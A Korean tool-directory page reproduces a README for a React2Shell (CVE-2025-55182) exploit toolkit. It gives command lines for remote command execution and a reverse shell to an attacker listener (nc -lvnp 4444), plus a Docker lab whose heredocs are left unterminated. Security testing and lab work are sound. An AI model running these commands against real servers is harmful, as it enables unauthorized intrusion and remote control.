Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — react2Shell Next.js RCE를 통해 검증, 악용 및 대화형 셸 획득을 위한 간단한 툴킷입니다. | Kitploit
도구/GitHubGitHub/j4ck3lsyn-gen2/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubj4ck3lsyn-gen2/cve-2025-55182

CVE-2025-55182

react2Shell Next.js RCE를 통해 검증, 악용 및 대화형 셸 획득을 위한 간단한 툴킷입니다.

저장소 보기
116개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182: React2Shell - Next.js 원격 코드 실행 툴킷

CVE-2025-55182 CVSS License

[!WARNING] 이 도구는 공인된 테스트 및 교육 목적으로만 제공됩니다. 승인되지 않은 네트워크 접근과 데이터 유출은 불법입니다. 사용자는 이 도구를 어떤 네트워크에서 사용하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다.

개요

이 저장소는 React2Shell이라고도 알려진 CVE-2025-55182를 통해 검증, 익스플로잇 및 대화형 셸 확보를 수행하는 간단한 툴킷을 포함합니다. 이는 React Server Components(RSC)의 치명적인 사전 인증 원격 코드 실행(RCE) 취약점으로, 19.0.0, 19.1.0, 19.1.1 및 19.2.0 버전에 영향을 미칩니다.

이 취약점은 React의 Flight 프로토콜에서의 안전하지 않은 역직렬화에서 비롯되며, 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 2025년 12월 3일에 공개되었으며 CVSS 점수는 10.0(치명적)입니다. 주로 React Server Components에 영향을 미치지만, RSC를 사용하는 Next.js와 같은 프레임워크에도 영향이 있습니다.

참고: 이 툴킷은 교육 및 연구 목적으로만 제공됩니다. 승인되지 않은 취약점 익스플로잇은 불법적이고 비윤리적입니다. 책임감 있게, 그리고 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하세요.

영향을 받는 구성 요소

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0 버전
  • 관련 프레임워크: Next.js(일부 상황에서는 CVE-2025-66478을 통해 잠재적 영향)
  • 익스플로잇 벡터: 인증 없이 RCE를 가능하게 하는 RSC 페이로드의 안전하지 않은 역직렬화.

자세한 내용은 공식 권고를 참조하세요:

  • NVD CVE-2025-55182
  • React 보안 권고
  • React2Shell 관련 Wiz 블로그

사용법


기능

  • 검증(Validation): 대상이 CVE-2025-55182에 취약한지 확인합니다.
  • 익스플로잇(sploitation): 임의 명령을 실행하기 위한 페이로드를 제작합니다.
  • 대화형 셸(Interactive Shell): 지속적인 접근을 위한 리버스 셸을 확보합니다.
  • 최소한의 의존성으로 Python 3.x를 지원합니다.

요구 사항

  • Python 3.8+
  • 필수 라이브러리: requests, argparse(pip install -r requirements.txt로 설치)

설치

Venv 설치

  1. 저장소를 클론합니다
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
  1. 가상 환경
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
  1. 활성화
source CVE202555182Venv/bin/activate[.fish]

로컬 설치

  1. 저장소를 클론합니다:
    git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
    cd CVE-2025-55182
    
  2. 의존성을 설치합니다:
    pip install -r requirements.txt
    

사용법

메인 스크립트는 sploit.py입니다. 다음 옵션과 함께 실행하세요:

python sploit.py --help

옵션

  • --target <URL>: 대상 URL(예: http://vulnerable-site.com).
  • --mode <validate|sploit|shell>: 작동 모드.
    • validate: 익스플로잇 없이 취약점을 확인합니다.
    • sploit: 사용자 지정 명령을 실행합니다.
    • shell: 대화형 리버스 셸을 설정합니다.
  • --command <CMD>: 실행할 명령(sploit 모드 필수).
  • --lhost <IP>: 리버스 셸용 로컬 호스트(shell 모드 필수).
  • --lport <PORT>: 리버스 셸용 로컬 포트(기본값: 4444).

예시

  1. 취약점 검증:

    python sploit.py --target http://example.com --mode validate
    
  2. 명령 실행 익스플로잇:

    python sploit.py --target http://example.com --mode sploit --command "whoami"
    
  3. 대화형 셸 확보: 먼저 리스너를 설정하세요(예: nc -lvnp 4444), 그런 다음:

    python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
    

작동 원리

  1. 취약점 탐지: 역직렬화 결함을 탐지하기 위해 특수하게 제작된 RSC 페이로드를 전송합니다.
  2. 페이로드 제작: React의 Flight 프로토콜을 통해 코드를 주입하기 위해 안전하지 않은 역직렬화를 사용합니다.
  3. 셸 접근: 공격자의 머신으로 다시 연결되는 페이로드를 실행하여 리버스 셸로 승격합니다.

기술적 심층 분석은 다음을 참조하세요:

  • Datadog Security Labs 분석
  • Dynatrace 블로그

실행 예시


Docker 설치


{
  "dependencies": {
    "next": "14.3.0-canary.77",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  },
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}

tsconfig.json을 완전히 삭제하세요(빌드를 막던 핵심 요소입니다)


rm tsconfig.json

최소 요구 App Router 파일 생성


mkdir -p app

# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

app/globals.css(사실상 비어 있어도 됨)

echo "/* minimal css - required by Next.js */" > app/globals.css

app/page.tsx(실제 취약 페이지가 들어가는 위치 – 예시 스텁)

cat > app/page.tsx << 'EOF'
export default function Home() {
  return (
    <main>
      <h1>react2shell lab is running!</h1>
      <p>Start sploiting → /api/vulnerable-endpoint</p>
    </main>
  );
}

최종 완벽한 Dockerfile 생성(정확한 내용)


FROM node:20-alpine

WORKDIR /app

# Copy only package files first (better caching)
COPY package*.json ./

# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps

# Copy the rest of the app
COPY . .

# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json

# Build the Next.js app
RUN npm run build

# Expose port
EXPOSE 3000

# Start the app
CMD ["npm", "start"]

빌드 및 실행(이 명령들은 이제 완벽하게 작동합니다)


docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell

브라우저에서 열기

→ http://localhost:3000 끝났습니다. 컨테이너는 2초 이내에 시작되며 프로토타입 오염 → RCE 체인을 실행할 준비가 됩니다.

언제든지 삭제 후 재시작할 수 있는 원라이너(선택 사항): bash

docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell

완화 조치

  • React를 19.2.1 이상 버전으로 업데이트하세요.
  • 필요하지 않다면 React Server Components를 비활성화하거나 제한하세요.
  • 국가 후원 공격자(예: China-nexus 그룹)가 이 CVE를 빠르게 악용하는 것이 관찰되었으므로 익스플로잇 시도를 모니터링하세요.

위협 인텔리전스는 AWS 보안 블로그를 참조하세요.

면책 조항

이 도구는 보증 없이 "있는 그대로" 제공됩니다. 저자는 이 툴킷으로 인한 오용이나 손해에 대해 책임지지 않습니다. 취약점을 테스트하기 전에 항상 허가를 받으세요.

기여

Pull Request는 언제나 환영합니다! 큰 변경 사항이 있다면 먼저 이슈를 열어 주세요.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

참고 자료

  • Cisco 권고
  • Palo Alto Unit 42 보고서
  • CMU ISO 뉴스
  • Cloudflare 블로그
  • Huntress 블로그
  • JFrog 블로그
  • Elastic Security
당신의 이미지 배지
도구 다운로드